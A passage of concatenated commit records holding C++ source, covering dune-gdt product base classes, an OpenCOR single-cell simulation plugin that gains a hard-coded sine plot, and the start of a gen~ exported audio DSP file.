A static\n * check of GridViewType is performed in internal::GenericBaseTraits. You can finally implement the product by\n * deriving from this class and providing the appropriate LocalOperatorProvider. To get an idea see \\sa\n * Products::internal::WeightedL2Base in l2-internal.hh for an example of a LocalOperatorProvider and\n * Products::WeightedL2 in l2.hh for an example of the final product. This product is implemented by a creating a\n * LocalizableBase product of appropriate type for the given source and range.\n *\/\ntemplate< class LocalOperatorProvider >\nclass GenericBase\n : LocalOperatorProvider\n , public ProductInterface< internal::GenericBaseTraits< LocalOperatorProvider > >\n{\n typedef ProductInterface< internal::GenericBaseTraits< LocalOperatorProvider > > BaseType;\npublic:\n typedef internal::GenericBaseTraits< LocalOperatorProvider > Traits;\n typedef typename BaseType::GridViewType GridViewType;\n typedef typename BaseType::FieldType FieldType;\n\n typedef typename GridViewType::template Codim< 0 >::Entity EntityType;\n typedef typename GridViewType::ctype DomainFieldType;\n static const unsigned int dimDomain = GridViewType::dimension;\n\n template< class... Args >\n GenericBase(const GridViewType& grd_vw, Args&& ...args)\n : LocalOperatorProvider(std::forward< Args >(args)...)\n , grid_view_(grd_vw)\n {}\n\n const GridViewType& grid_view() const\n {\n return grid_view_;\n }\n\n template< class RR, int rRR, int rCR, class RS, int rRS, int rCS >\n FieldType apply2(const Stuff::LocalizableFunctionInterface< EntityType, DomainFieldType, dimDomain, RR, rRR, rCR >& range,\n const Stuff::LocalizableFunctionInterface< EntityType, DomainFieldType, dimDomain, RS, rRS, rCS >& source) const\n {\n typedef Stuff::LocalizableFunctionInterface< EntityType, DomainFieldType, dimDomain, RR, rRR, rCR > RangeType;\n typedef Stuff::LocalizableFunctionInterface< EntityType, DomainFieldType, dimDomain, RS, rRS, rCS > SourceType;\n LocalizableBase< LocalOperatorProvider, RangeType, SourceType > product(grid_view_,\n range,\n source,\n static_cast< const LocalOperatorProvider& >(*this));\n return product.apply2();\n } \/\/ ... apply2(...)\n\nprivate:\n const GridViewType& grid_view_;\n}; \/\/ class GenericBase\n\n\n} \/\/ namespace Products\n} \/\/ namespace GDT\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_GDT_PRODUCTS_BASE_HH\n<commit_msg>[products.base] make copyable<commit_after>\/\/ This file is part of the dune-gdt project:\n\/\/ http:\/\/users.dune-project.org\/projects\/dune-gdt\n\/\/ Copyright holders: Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\n#ifndef DUNE_GDT_PRODUCTS_BASE_HH\n#define DUNE_GDT_PRODUCTS_BASE_HH\n\n#include <dune\/stuff\/common\/memory.hh>\n#include <dune\/stuff\/common\/tmp-storage.hh>\n#include <dune\/stuff\/grid\/walker.hh>\n#include <dune\/stuff\/la\/container\/pattern.hh>\n\n#include <dune\/gdt\/assembler\/system.hh>\n\n#include \"interfaces.hh\"\n#include \"base-internal.hh\"\n\nnamespace Dune {\nnamespace GDT {\nnamespace Products {\n\n\n\/**\n * \\brief Base class for all localizable products.\n *\n * The purpose of this class is to facilitate the implementation of localizable products (that are based on\n * local operators) by implementing as much as possible. All you have to do is to implement a class\n * LocalOperatorProvider, derived from LocalOperatorProviderBase. See the documentation of\n * \\sa LocalOperatorProviderBase for the requirements of your class, depending on the type of local operator you\n * want to use. We do not use the CRTP machinery here but trust you to implement what is necessarry. Any\n * additional ctor arguments given to LocalizableBase are forwarded to your implementation of\n * LocalOperatorProvider. Static checks of GridViewType, RangeType and SourceType are performed in\n * internal::LocalizableBaseTraits. You can finally implement the product by deriving from this class and\n * providing the appropriate LocalOperatorProvider. To get an idea see \\sa Products::internal::WeightedL2Base in\n * weightedl2-internal.hh for an example of a LocalOperatorProvider and Products::WeightedL2Localizable in\n * weightedl2.hh for an example of the final product.\n * \\note If you want to know about the internal workings of this class, take a look at \\sa\n * internal::LocalizableBaseHelper.\n *\/\ntemplate< class LocalOperatorProvider, class RangeImp, class SourceImp >\nclass LocalizableBase\n : public LocalizableProductInterface< internal::LocalizableBaseTraits< LocalOperatorProvider, RangeImp, SourceImp > >\n , public Stuff::Grid::Walker< typename LocalOperatorProvider::GridViewType >\n{\n typedef LocalizableBase< LocalOperatorProvider, RangeImp, SourceImp > ThisType;\n typedef LocalizableProductInterface\n < internal::LocalizableBaseTraits< LocalOperatorProvider, RangeImp, SourceImp > > ProductBaseType;\n typedef Stuff::Grid::Walker< typename LocalOperatorProvider::GridViewType > WalkerBaseType;\npublic:\n typedef internal::LocalizableBaseTraits< LocalOperatorProvider, RangeImp, SourceImp > Traits;\n\n typedef typename WalkerBaseType::GridViewType GridViewType;\n typedef typename WalkerBaseType::EntityType EntityType;\n typedef typename WalkerBaseType::IntersectionType IntersectionType;\n typedef typename ProductBaseType::RangeType RangeType;\n typedef typename ProductBaseType::SourceType SourceType;\n typedef typename ProductBaseType::FieldType FieldType;\nprivate:\n typedef internal::LocalizableBaseHelper< LocalOperatorProvider, RangeType, SourceType > HelperType;\n\npublic:\n template< class... Args >\n LocalizableBase(const GridViewType& grd_vw, const RangeType& rng, const SourceType& src, Args&& ...args)\n : WalkerBaseType(grd_vw)\n , range_(rng)\n , source_(src)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, local_operators_, range_, source_)\n , walked_(false)\n {}\n\n template< class... Args >\n LocalizableBase(const GridViewType& grd_vw, const RangeType& rng, Args&& ...args)\n : WalkerBaseType(grd_vw)\n , range_(rng)\n , source_(rng)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, local_operators_, range_, source_)\n , walked_(false)\n {}\n\n LocalizableBase(const ThisType& other)\n : WalkerBaseType(other.grid_view())\n , range_(other.range_)\n , source_(other.source_)\n , local_operators_(other.local_operators_)\n , helper_(*this, local_operators_, range_, source_)\n , walked_(false)\n {}\n\n using WalkerBaseType::grid_view;\n\n const RangeType& range() const\n {\n return range_;\n }\n\n const SourceType& source() const\n {\n return source_;\n }\n\n \/**\n * This method can be used to compute a local semi product on one entity, e.g. in the context of error\n * estimation.\n * \\note Calling this method should not alter the result obtained by apply2.\n *\/\n FieldType compute_locally(const EntityType& entity)\n {\n return helper_.compute_locally(entity);\n }\n\n \/**\n * This method can be used to compute a local semi product on one intersection, e.g. in the context of error\n * estimation.\n * \\note Calling this method should not alter the result obtained by apply2.\n *\/\n FieldType compute_locally(const IntersectionType& intersection,\n const EntityType& inside_entity,\n const EntityType& outside_entity)\n {\n return helper_.compute_locally(intersection, inside_entity, outside_entity);\n }\n\n FieldType apply2()\n {\n if (!walked_)\n this->walk();\n return helper_.result();\n } \/\/ ... apply2(...)\n\nprivate:\n const RangeType& range_;\n const SourceType& source_;\n const LocalOperatorProvider local_operators_;\n HelperType helper_;\n bool walked_;\n}; \/\/ class LocalizableBase\n\n\n\/**\n * \\brief Base class for all assembable products.\n *\n * The purpose of this class is to facilitate the implementation of assembable products (that are based on\n * local operators) by implementing as much as possible. All you have to do is to implement a class\n * LocalOperatorProvider, derived from LocalOperatorProviderBase. See the documentation of\n * \\sa LocalOperatorProviderBase for the requirements of your class, depending on the type of local operator you\n * want to use. We do not use the CRTP machinery here but trust you to implement what is necessarry. Any\n * additional ctor arguments given to AssemblableBase are forwarded to your implementation of\n * LocalOperatorProvider. Static checks of MatrixType, RangeSpaceType and SourceSpaceType are performed in\n * internal::AssemblableBaseTraits. You can finally implement the product by deriving from this class and\n * providing the appropriate LocalOperatorProvider. To get an idea see \\sa Products::internal::WeightedL2Base in\n * weightedl2-internal.hh for an example of a LocalOperatorProvider and Products::WeightedL2Assemblable in\n * weightedl2.hh for an example of the final product.\n * \\note If you want to know about the internal workings of this class, take a look at \\sa\n * internal::AssemblableBaseHelper.\n * \\note This class proves an automatic creation of the matrix that is being assembled into. Thus each kind of ctor\n * exists in two variants (one taking a matrix reference, one not). If you provide an external matrix you are\n * responsible for the well being of the matrix:\n * - If this is a sparse matrix it needs to have the correct pattern (can be obtained from this class).\n * - During assemble values are added to the matrix (not set). Thus it should be empty beforehand or you have to\n * know what you are doing!\n *\/\ntemplate< class LocalOperatorProvider, class MatrixImp, class RangeSpaceImp, class SourceSpaceImp >\nclass AssemblableBase\n : DSC::StorageProvider< MatrixImp >\n , public AssemblableProductInterface< internal::AssemblableBaseTraits< LocalOperatorProvider,\n MatrixImp,\n RangeSpaceImp,\n SourceSpaceImp > >\n , public SystemAssembler< RangeSpaceImp, typename LocalOperatorProvider::GridViewType, SourceSpaceImp >\n{\n typedef DSC::StorageProvider< MatrixImp > MatrixProvider;\n typedef AssemblableProductInterface< internal::AssemblableBaseTraits< LocalOperatorProvider,\n MatrixImp,\n RangeSpaceImp,\n SourceSpaceImp > > ProductBaseType;\n typedef SystemAssembler\n < RangeSpaceImp, typename LocalOperatorProvider::GridViewType, SourceSpaceImp > AssemblerBaseType;\n typedef AssemblableBase< LocalOperatorProvider, MatrixImp, RangeSpaceImp, SourceSpaceImp > ThisType;\npublic:\n typedef internal::AssemblableBaseTraits\n < LocalOperatorProvider, MatrixImp, RangeSpaceImp, SourceSpaceImp > Traits;\n typedef typename ProductBaseType::GridViewType GridViewType;\n typedef typename ProductBaseType::RangeSpaceType RangeSpaceType;\n typedef typename ProductBaseType::SourceSpaceType SourceSpaceType;\n typedef typename ProductBaseType::MatrixType MatrixType;\n typedef typename ProductBaseType::FieldType FieldType;\nprivate:\n typedef internal::AssemblableBaseHelper< ThisType, LocalOperatorProvider > HelperType;\n\npublic:\n using ProductBaseType::pattern;\n\n static Stuff::LA::SparsityPatternDefault pattern(const RangeSpaceType& range_space,\n const SourceSpaceType& source_space,\n const GridViewType& grid_view)\n {\n if (LocalOperatorProvider::has_coupling_operator)\n return range_space.compute_face_and_volume_pattern(grid_view, source_space);\n else if (LocalOperatorProvider::has_volume_operator || LocalOperatorProvider::has_boundary_operator)\n return range_space.compute_volume_pattern(grid_view, source_space);\n else\n return Stuff::LA::SparsityPatternDefault();\n }\n\n template< class... Args >\n AssemblableBase(MatrixType& mtrx,\n const RangeSpaceType& rng_spc,\n const GridViewType& grd_vw,\n const SourceSpaceType& src_spc,\n Args&& ...args)\n : MatrixProvider(mtrx)\n , AssemblerBaseType(rng_spc, src_spc, grd_vw)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n template< class... Args >\n AssemblableBase(const RangeSpaceType& rng_spc,\n const GridViewType& grd_vw,\n const SourceSpaceType& src_spc,\n Args&& ...args)\n : MatrixProvider(new MatrixType(rng_spc.mapper().size(),\n src_spc.mapper().size(),\n pattern(rng_spc, src_spc, grd_vw)))\n , AssemblerBaseType(rng_spc, src_spc, grd_vw)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n template< class... Args >\n AssemblableBase(MatrixType& mtrx, const RangeSpaceType& rng_spc, const GridViewType& grd_vw, Args&& ...args)\n : MatrixProvider(mtrx)\n , AssemblerBaseType(rng_spc, grd_vw)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n template< class... Args >\n AssemblableBase(const RangeSpaceType& rng_spc, const GridViewType& grd_vw, Args&& ...args)\n : MatrixProvider(new MatrixType(rng_spc.mapper().size(), rng_spc.mapper().size(), pattern(rng_spc, grd_vw)))\n , AssemblerBaseType(rng_spc, grd_vw)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n template< class... Args >\n AssemblableBase(MatrixType& mtrx, const RangeSpaceType& rng_spc, Args&& ...args)\n : MatrixProvider(mtrx)\n , AssemblerBaseType(rng_spc)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n template< class... Args >\n AssemblableBase(const RangeSpaceType& rng_spc, Args&& ...args)\n : MatrixProvider(new MatrixType(rng_spc.mapper().size(), rng_spc.mapper().size(), pattern(rng_spc)))\n , AssemblerBaseType(rng_spc)\n , local_operators_(std::forward< Args >(args)...)\n , helper_(*this, MatrixProvider::storage_access(), local_operators_)\n , assembled_(false)\n {}\n\n using AssemblerBaseType::grid_view;\n\n const RangeSpaceType& range_space() const\n {\n return AssemblerBaseType::test_space();\n }\n\n const SourceSpaceType& source_space() const\n {\n return AssemblerBaseType::ansatz_space();\n }\n\n MatrixType& matrix()\n {\n return MatrixProvider::storage_access();\n }\n\n const MatrixType& matrix() const\n {\n return MatrixProvider::storage_access();\n }\n\n void assemble()\n {\n if (!assembled_) {\n AssemblerBaseType::assemble();\n assembled_ = true;\n }\n } \/\/ ... assemble()\n\nprivate:\n const LocalOperatorProvider local_operators_;\n HelperType helper_;\n bool assembled_;\n}; \/\/ class AssemblableBase\n\n\n\/**\n * \\brief Base class for all generic products.\n *\n * The purpose of this class is to facilitate the implementation of products that are based on a local operator\n * that is derived from LocalOperator::Codim0Interface by implementing as much as possible. All you have to do is\n * to implement a class LocalOperatorProvider that provides the following in addition to the requirements of \\sa\n * LocalizableBase:\n * - it has to be copyable\n * GenericBase derives from that provided class and forwards any additional ctor arguments to its ctor. A static\n * check of GridViewType is performed in internal::GenericBaseTraits. You can finally implement the product by\n * deriving from this class and providing the appropriate LocalOperatorProvider. To get an idea see \\sa\n * Products::internal::WeightedL2Base in l2-internal.hh for an example of a LocalOperatorProvider and\n * Products::WeightedL2 in l2.hh for an example of the final product. This product is implemented by a creating a\n * LocalizableBase product of appropriate type for the given source and range.\n *\/\ntemplate< class LocalOperatorProvider >\nclass GenericBase\n : LocalOperatorProvider\n , public ProductInterface< internal::GenericBaseTraits< LocalOperatorProvider > >\n{\n typedef ProductInterface< internal::GenericBaseTraits< LocalOperatorProvider > > BaseType;\npublic:\n typedef internal::GenericBaseTraits< LocalOperatorProvider > Traits;\n typedef typename BaseType::GridViewType GridViewType;\n typedef typename BaseType::FieldType FieldType;\n\n typedef typename GridViewType::template Codim< 0 >::Entity EntityType;\n typedef typename GridViewType::ctype DomainFieldType;\n static const unsigned int dimDomain = GridViewType::dimension;\n\n template< class... Args >\n GenericBase(const GridViewType& grd_vw, Args&& ...args)\n : LocalOperatorProvider(std::forward< Args >(args)...)\n , grid_view_(grd_vw)\n {}\n\n const GridViewType& grid_view() const\n {\n return grid_view_;\n }\n\n template< class RR, int rRR, int rCR, class RS, int rRS, int rCS >\n FieldType apply2(const Stuff::LocalizableFunctionInterface< EntityType, DomainFieldType, dimDomain, RR, rRR, rCR >& range,\n const Stuff::LocalizableFunctionInterface< EntityType, DomainFieldType, dimDomain, RS, rRS, rCS >& source) const\n {\n typedef Stuff::LocalizableFunctionInterface< EntityType, DomainFieldType, dimDomain, RR, rRR, rCR > RangeType;\n typedef Stuff::LocalizableFunctionInterface< EntityType, DomainFieldType, dimDomain, RS, rRS, rCS > SourceType;\n LocalizableBase< LocalOperatorProvider, RangeType, SourceType > product(grid_view_,\n range,\n source,\n static_cast< const LocalOperatorProvider& >(*this));\n return product.apply2();\n } \/\/ ... apply2(...)\n\nprivate:\n const GridViewType& grid_view_;\n}; \/\/ class GenericBase\n\n\n} \/\/ namespace Products\n} \/\/ namespace GDT\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_GDT_PRODUCTS_BASE_HH\n<|endoftext|>"} {"text":"<commit_before>\/\/==============================================================================\n\/\/ SingleCellSimulation plugin\n\/\/==============================================================================\n\n#include \"singlecellsimulationplugin.h\"\n#include \"cellmlmodel.h\"\n#include \"cellmlsupportplugin.h\"\n\n\/\/==============================================================================\n\n#include <QFileInfo>\n#include <QMainWindow>\n#include <QPen>\n\n\/\/==============================================================================\n\n#include \"qwt_plot.h\"\n#include \"qwt_plot_grid.h\"\n\n\/\/==============================================================================\n\nnamespace OpenCOR {\nnamespace SingleCellSimulation {\n\n\/\/==============================================================================\n\nPLUGININFO_FUNC SingleCellSimulationPluginInfo()\n{\n Descriptions descriptions;\n\n descriptions.insert(\"en\", \"A plugin to run single cell simulations\");\n descriptions.insert(\"fr\", \"Une extension pour excuter des simulations unicellulaires\");\n\n return PluginInfo(PluginInfo::V001,\n PluginInfo::Gui,\n PluginInfo::Simulation,\n true,\n QStringList() << \"CoreSimulation\" << \"CellMLSupport\" << \"Qwt\",\n descriptions);\n}\n\n\/\/==============================================================================\n\nQ_EXPORT_PLUGIN2(SingleCellSimulation, SingleCellSimulationPlugin)\n\n\/\/==============================================================================\n\nSingleCellSimulationPlugin::SingleCellSimulationPlugin()\n{\n \/\/ Set our settings\n\n mGuiSettings->addView(GuiViewSettings::Simulation, 0);\n}\n\n\/\/==============================================================================\n\nvoid SingleCellSimulationPlugin::initialize()\n{\n \/\/ Create our simulation view widget\n\n mSimulationView = new QwtPlot(mMainWindow);\n\n \/\/ Hide our simulation view widget since it may not initially be shown in\n \/\/ our central widget\n\n mSimulationView->setVisible(false);\n\n \/\/ Customise our simulation view widget\n\n mSimulationView->setCanvasBackground(Qt::white);\n\n \/\/ Remove the canvas' border as it otherwise looks odd, not to say ugly,\n \/\/ with one\n\n mSimulationView->setCanvasLineWidth(0);\n\n \/\/ Add a grid to our simulation view widget\n\n QwtPlotGrid *grid = new QwtPlotGrid;\n\n grid->setMajPen(QPen(Qt::gray, 0, Qt::DotLine));\n\n grid->attach(mSimulationView);\n}\n\n\/\/==============================================================================\n\nQWidget * SingleCellSimulationPlugin::viewWidget(const QString &pFileName,\n const int &)\n{\n \/\/ Check that we are dealing with a CellML file and, if so, return our\n \/\/ generic simulation view widget\n\n if (QFileInfo(pFileName).suffix().compare(CellMLSupport::CellmlFileExtension))\n \/\/ Not the expected file extension, so...\n\n return 0;\n else\n{\n\/\/--- TESTING --- BEGIN ---\n\n qDebug(\"=======================================\");\n qDebug(\"%s:\", pFileName.toLatin1().constData());\n\n \/\/ Load the CellML model\n\n CellMLSupport::CellmlModel *cellmlModel = new CellMLSupport::CellmlModel(pFileName);\n\n \/\/ Check the model's validity\n\n if (cellmlModel->isValid()) {\n \/\/ The model is valid, but let's see whether warnings were generated\n\n int nbOfWarnings = cellmlModel->issues().count();\n\n if (nbOfWarnings)\n qDebug(\" - The model was properly loaded:\");\n else\n qDebug(\" - The model was properly loaded.\");\n } else {\n qDebug(\" - The model was NOT properly loaded:\");\n }\n\n \/\/ Output any warnings\/errors that were generated\n\n foreach (const CellMLSupport::CellmlModelIssue &issue, cellmlModel->issues()) {\n QString type = QString((issue.type() == CellMLSupport::CellmlModelIssue::Error)?\"Error\":\"Warrning\");\n QString message = issue.formattedMessage();\n uint32_t line = issue.line();\n uint32_t column = issue.column();\n QString importedModel = issue.importedModel();\n\n if (line && column) {\n if (importedModel.isEmpty())\n qDebug(\" [%s at line %s column %s] %s\", type.toLatin1().constData(),\n QString::number(issue.line()).toLatin1().constData(),\n QString::number(issue.column()).toLatin1().constData(),\n message.toUtf8().constData());\n else\n qDebug(\" [%s at line %s column %s from imported model %s] %s\", type.toLatin1().constData(),\n QString::number(issue.line()).toLatin1().constData(),\n QString::number(issue.column()).toLatin1().constData(),\n importedModel.toLatin1().constData(),\n message.toUtf8().constData());\n } else {\n if (importedModel.isEmpty())\n qDebug(\" [%s] %s\", type.toLatin1().constData(),\n message.toUtf8().constData());\n else\n qDebug(\" [%s from imported model %s] %s\", type.toLatin1().constData(),\n importedModel.toLatin1().constData(),\n message.toUtf8().constData());\n }\n }\n\n \/\/ Get a runtime for the model\n\n CellMLSupport::CellmlModelRuntime *cellmlModelRuntime = cellmlModel->runtime();\n\n if (cellmlModelRuntime->isValid()) {\n qDebug(\" - The model's runtime was properly generated.\");\n qDebug(\" [Information] Model type = %s\", (cellmlModelRuntime->modelType() == CellMLSupport::CellmlModelRuntime::Ode)?\"ODE\":\"DAE\");\n } else {\n qDebug(\" - The model's runtime was NOT properly generated:\");\n\n foreach (const CellMLSupport::CellmlModelIssue &issue,\n cellmlModelRuntime->issues()) {\n QString type = QString((issue.type() == CellMLSupport::CellmlModelIssue::Error)?\"Error\":\"Warrning\");\n QString message = issue.formattedMessage();\n\n qDebug(\" [%s] %s\", type.toLatin1().constData(),\n message.toUtf8().constData());\n }\n }\n\n \/\/ Done with our testing, so...\n\n delete cellmlModel;\n\n\/\/--- TESTING --- END ---\n\n \/\/ The expected file extension, so return our generic simulation view\n \/\/ widget\n\n return mSimulationView;\n}\n}\n\n\/\/==============================================================================\n\nQString SingleCellSimulationPlugin::viewName(const int &pViewIndex)\n{\n \/\/ We have only one view, so return its name otherwise call the GuiInterface\n \/\/ implementation of viewName\n\n switch (pViewIndex) {\n case 0:\n return tr(\"Single Cell\");\n default:\n return GuiInterface::viewName(pViewIndex);\n }\n}\n\n\/\/==============================================================================\n\n} \/\/ namespace SingleCellSimulation\n} \/\/ namespace OpenCOR\n\n\/\/==============================================================================\n\/\/ End of file\n\/\/==============================================================================\n<commit_msg>Getting ready to compute a model, but only for demonstration purposes, so everything will be hard-coded.<commit_after>\/\/==============================================================================\n\/\/ SingleCellSimulation plugin\n\/\/==============================================================================\n\n#include \"singlecellsimulationplugin.h\"\n#include \"cellmlmodel.h\"\n#include \"cellmlsupportplugin.h\"\n\n\/\/==============================================================================\n\n#include <QFileInfo>\n#include <QMainWindow>\n#include <QPen>\n#include <QVector>\n\n\/\/==============================================================================\n\n#include \"qwt_plot.h\"\n#include \"qwt_plot_grid.h\"\n#include \"qwt_plot_curve.h\"\n\n\/\/==============================================================================\n\nnamespace OpenCOR {\nnamespace SingleCellSimulation {\n\n\/\/==============================================================================\n\nPLUGININFO_FUNC SingleCellSimulationPluginInfo()\n{\n Descriptions descriptions;\n\n descriptions.insert(\"en\", \"A plugin to run single cell simulations\");\n descriptions.insert(\"fr\", \"Une extension pour excuter des simulations unicellulaires\");\n\n return PluginInfo(PluginInfo::V001,\n PluginInfo::Gui,\n PluginInfo::Simulation,\n true,\n QStringList() << \"CoreSimulation\" << \"CellMLSupport\" << \"Qwt\",\n descriptions);\n}\n\n\/\/==============================================================================\n\nQ_EXPORT_PLUGIN2(SingleCellSimulation, SingleCellSimulationPlugin)\n\n\/\/==============================================================================\n\nSingleCellSimulationPlugin::SingleCellSimulationPlugin()\n{\n \/\/ Set our settings\n\n mGuiSettings->addView(GuiViewSettings::Simulation, 0);\n}\n\n\/\/==============================================================================\n\nvoid SingleCellSimulationPlugin::initialize()\n{\n \/\/ Create our simulation view widget\n\n mSimulationView = new QwtPlot(mMainWindow);\n\n \/\/ Hide our simulation view widget since it may not initially be shown in\n \/\/ our central widget\n\n mSimulationView->setVisible(false);\n\n \/\/ Customise our simulation view widget\n\n mSimulationView->setCanvasBackground(Qt::white);\n\n \/\/ Remove the canvas' border as it otherwise looks odd, not to say ugly,\n \/\/ with one\n\n mSimulationView->setCanvasLineWidth(0);\n\n \/\/ Add a grid to our simulation view widget\n\n QwtPlotGrid *grid = new QwtPlotGrid;\n\n grid->setMajPen(QPen(Qt::gray, 0, Qt::DotLine));\n\n grid->attach(mSimulationView);\n}\n\n\/\/==============================================================================\n\nQWidget * SingleCellSimulationPlugin::viewWidget(const QString &pFileName,\n const int &)\n{\n \/\/ Check that we are dealing with a CellML file and, if so, return our\n \/\/ generic simulation view widget\n\n if (QFileInfo(pFileName).suffix().compare(CellMLSupport::CellmlFileExtension))\n \/\/ Not the expected file extension, so...\n\n return 0;\n else\n{\n\/\/--- TESTING --- BEGIN ---\n\n qDebug(\"=======================================\");\n qDebug(\"%s:\", pFileName.toLatin1().constData());\n\n \/\/ Load the CellML model\n\n CellMLSupport::CellmlModel *cellmlModel = new CellMLSupport::CellmlModel(pFileName);\n\n \/\/ Check the model's validity\n\n if (cellmlModel->isValid()) {\n \/\/ The model is valid, but let's see whether warnings were generated\n\n int nbOfWarnings = cellmlModel->issues().count();\n\n if (nbOfWarnings)\n qDebug(\" - The model was properly loaded:\");\n else\n qDebug(\" - The model was properly loaded.\");\n } else {\n qDebug(\" - The model was NOT properly loaded:\");\n }\n\n \/\/ Output any warnings\/errors that were generated\n\n foreach (const CellMLSupport::CellmlModelIssue &issue, cellmlModel->issues()) {\n QString type = QString((issue.type() == CellMLSupport::CellmlModelIssue::Error)?\"Error\":\"Warrning\");\n QString message = issue.formattedMessage();\n uint32_t line = issue.line();\n uint32_t column = issue.column();\n QString importedModel = issue.importedModel();\n\n if (line && column) {\n if (importedModel.isEmpty())\n qDebug(\" [%s at line %s column %s] %s\", type.toLatin1().constData(),\n QString::number(issue.line()).toLatin1().constData(),\n QString::number(issue.column()).toLatin1().constData(),\n message.toUtf8().constData());\n else\n qDebug(\" [%s at line %s column %s from imported model %s] %s\", type.toLatin1().constData(),\n QString::number(issue.line()).toLatin1().constData(),\n QString::number(issue.column()).toLatin1().constData(),\n importedModel.toLatin1().constData(),\n message.toUtf8().constData());\n } else {\n if (importedModel.isEmpty())\n qDebug(\" [%s] %s\", type.toLatin1().constData(),\n message.toUtf8().constData());\n else\n qDebug(\" [%s from imported model %s] %s\", type.toLatin1().constData(),\n importedModel.toLatin1().constData(),\n message.toUtf8().constData());\n }\n }\n\n \/\/ Get a runtime for the model\n\n CellMLSupport::CellmlModelRuntime *cellmlModelRuntime = cellmlModel->runtime();\n\n if (cellmlModelRuntime->isValid()) {\n qDebug(\" - The model's runtime was properly generated.\");\n qDebug(\" [Information] Model type = %s\", (cellmlModelRuntime->modelType() == CellMLSupport::CellmlModelRuntime::Ode)?\"ODE\":\"DAE\");\n } else {\n qDebug(\" - The model's runtime was NOT properly generated:\");\n\n foreach (const CellMLSupport::CellmlModelIssue &issue,\n cellmlModelRuntime->issues()) {\n QString type = QString((issue.type() == CellMLSupport::CellmlModelIssue::Error)?\"Error\":\"Warrning\");\n QString message = issue.formattedMessage();\n\n qDebug(\" [%s] %s\", type.toLatin1().constData(),\n message.toUtf8().constData());\n }\n }\n\n \/\/ Compute the model\n\n typedef QVector<double> Doubles;\n\n static const int NbOfDataPoints = 100;\n static const double Factor = 6.28\/double(NbOfDataPoints-1);\n\n Doubles xData;\n Doubles yData;\n\n for (int i = 0; i < NbOfDataPoints; ++i) {\n xData.append(i*Factor);\n yData.append(sin(xData.last()));\n }\n\n \/\/ Add a curve to our view\n\n QwtPlotCurve *curve = new QwtPlotCurve;\n\n curve->setRenderHint(QwtPlotItem::RenderAntialiased);\n curve->setPen(QPen(Qt::darkBlue));\n curve->setSamples(xData, yData);\n\n curve->attach(mSimulationView);\n\n \/\/ Done with our testing, so...\n\n delete cellmlModel;\n\n\/\/--- TESTING --- END ---\n\n \/\/ The expected file extension, so return our generic simulation view\n \/\/ widget\n\n return mSimulationView;\n}\n}\n\n\/\/==============================================================================\n\nQString SingleCellSimulationPlugin::viewName(const int &pViewIndex)\n{\n \/\/ We have only one view, so return its name otherwise call the GuiInterface\n \/\/ implementation of viewName\n\n switch (pViewIndex) {\n case 0:\n return tr(\"Single Cell\");\n default:\n return GuiInterface::viewName(pViewIndex);\n }\n}\n\n\/\/==============================================================================\n\n} \/\/ namespace SingleCellSimulation\n} \/\/ namespace OpenCOR\n\n\/\/==============================================================================\n\/\/ End of file\n\/\/==============================================================================\n<|endoftext|>"} {"text":"<commit_before>#include \"gen_exported.h\"\n\nnamespace gen_exported {\n\n\n\/*******************************************************************************************************************\nCopyright (c) 2012 Cycling '74\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software\nand associated documentation files (the \"Software\"), to deal in the Software without restriction,\nincluding without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,\nand\/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies\nor substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,\nINCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE\nOR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*******************************************************************************************************************\/\n\n\n\/\/ global noise generator\nNoise noise;\nstatic const int GENLIB_LOOPCOUNT_BAIL = 100000;\n\n\n\/\/ The State struct contains all the state and procedures for the gendsp kernel\ntypedef struct State { \n\tCommonState __commonstate;\n\tdouble m_resolution_1;\n\tdouble samplerate;\n\tint vectorsize;\n\tint __exception;\n\t\/\/ re-initialize all member variables;\n\tinline void reset(double __sr, int __vs) { \n\t\t__exception = 0;\n\t\tvectorsize = __vs;\n\t\tsamplerate = __sr;\n\t\tm_resolution_1 = 6;\n\t\tgenlib_reset_complete(this);\n\t\t\n\t};\n\t\/\/ the signal processing routine;\n\tinline int perform(t_sample ** __ins, t_sample ** __outs, int __n) { \n\t\tvectorsize = __n;\n\t\tconst t_sample * __in1 = __ins[0];\n\t\tt_sample * __out1 = __outs[0];\n\t\tt_sample * __out2 = __outs[1];\n\t\tif (__exception) { \n\t\t\treturn __exception;\n\t\t\t\n\t\t} else if (( (__in1 == 0) || (__out1 == 0) || (__out2 == 0) )) { \n\t\t\t__exception = GENLIB_ERR_NULL_BUFFER;\n\t\t\treturn __exception;\n\t\t\t\n\t\t};\n\t\t\/\/ the main sample loop;\n\t\twhile ((__n--)) { \n\t\t\tconst double in1 = (*(__in1++));\n\t\t\tdouble mul_50 = (in1 * m_resolution_1);\n\t\t\tdouble ceil_49 = ceil(mul_50);\n\t\t\tdouble div_48 = safediv(ceil_49, m_resolution_1);\n\t\t\tdouble out1 